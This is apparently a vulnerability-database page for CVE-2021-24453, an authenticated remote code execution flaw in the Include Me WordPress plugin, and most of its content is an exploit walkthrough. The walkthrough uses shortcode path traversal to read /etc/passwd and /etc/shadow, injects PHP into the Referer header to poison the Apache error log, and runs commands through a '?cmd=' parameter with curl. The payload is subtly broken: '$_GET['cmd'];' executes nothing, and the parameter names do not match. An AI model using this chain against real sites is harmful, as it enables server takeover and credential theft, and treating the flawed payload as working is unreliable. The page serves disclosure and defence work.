Lucene search
+L

Include Me <= 1.2.1 - Authenticated Remote Code Execution (RCE) via LFI log poisoning

🗓️ 21 Jun 2021 00:00:00Reported by wpvulndbType 
wpexploit
 wpexploit
👁 935 Views

This document covers RCE via LFI log poisoning in WordPress

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2021-24453
19 Jul 202111:15
attackerkb
circl
Circl
CVE-2021-24453
19 Jul 202114:32
circl
cnnvd
CNNVD
WordPress 路径遍历漏洞
19 Jul 202100:00
cnnvd
cve
CVE
CVE-2021-24453
19 Jul 202110:53
cve
cvelist
Cvelist
CVE-2021-24453 Include Me <= 1.2.1 - Authenticated Remote Code Execution (RCE) via LFI log poisoning
19 Jul 202110:53
cvelist
euvd
EUVD
EUVD-2021-11365
7 Oct 202500:30
euvd
nvd
NVD
CVE-2021-24453
19 Jul 202111:15
nvd
osv
OSV
CVE-2021-24453
19 Jul 202111:15
osv
patchstack
Patchstack
WordPress Include Me plugin <= 1.2.1 - Path traversal and Local File Inclusion (LFI) vulnerability leading to Remote Code Execution (RCE)
21 Jun 202100:00
patchstack
prion
Prion
Path traversal
19 Jul 202111:15
prion
Rows per page
# RCE through chaining LFI with log poisoning

# 1. Path Traversal / Local File Inclusion

# Authenticate as any user, which can create blog posts on wordpress
# for example, user with "author" role
# create a new wordpress blog post
# copy paste the following content on your blog post and visit your newly created page:

[includeme file="/../../../../etc/passwd" value="This is a basic path traversal poc"]

# contents of /etc/passwd will be displayed

# 2. log poisoning

# PoC was constructed with the LAMPP stack on Ubuntu 20.04 LTS. LAMPP has the apache2 error log file under /opt/lampp/logs/error_log, which will be used for demonstration purpose
# however, please note that the default apache2 log can be found under /var/log/apache2/access.log
# if you don't use the LAMPP stack, please use /var/log/apache2/access.log for the log poisoning part
# reference: https://www.hackingarticles.in/apache-log-poisoning-through-lfi/

# First, we are trying to open a restricted file like /etc/shadow to get an entry on /opt/lampp/logs/error_log. The "error_log" file is reflecting the HTTP "referrer" header, therefore we can inject arbitrary PHP functions into the "referrer" to get Remote Code Execution
# open Burp Suite to intercept the request, append the payload to the "referrer" field
# payload (without the quotes): ";<?php $_GET['cmd'];?>"

POST /wordpress/wp-json/wp/v2/posts/116?_locale=user HTTP/1.1
Host: localhost
Content-Length: 303
Accept: application/json, */*;q=0.1
X-WP-Nonce: 7eb92e9895
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/8.0.8 Safari/600.8.9
X-HTTP-Method-Override: PUT
Content-Type: application/json
Origin: http://localhost
Referer: http://localhost/wordpress/wp-admin/post.php?post=116&action=edit;<?php $_GET['boss'];?>
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_5d1e5a05b96398a14a61f963d4699ca9=BossisBack%7C1624379188%7CafC9qioiHNrTPEtqjzjgXuW96F0014a9TLOBz8b0phV%7C2e28994b4d0cd0574000263018f2f266877b3124fb65c91f63e49ea6df92b095; wp-settings-2=mfold%3Do; wp-settings-time-2=1624206389
dnt: 1
sec-gpc: 1
Connection: close

{"id":116,"content":"<!-- wp:paragraph -->\n<p>test page</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:shortcode -->\n[includeme file=\"../../../../etc/shadow\" value=\"My name is Stefano\"]\n<!-- /wp:shortcode -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->"}

# on the same blog post, change the file back to

[includeme file="../../../../opt/lampp/logs/error_log" value="test"]

# now, the GET parameter "cmd" can be used to execute system commands
# append "?cmd=id" to the URL of your published blog post
# for example:

$ curl http://localhost/wordpress/2021/06/20/myblogpost/?cmd=id

# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation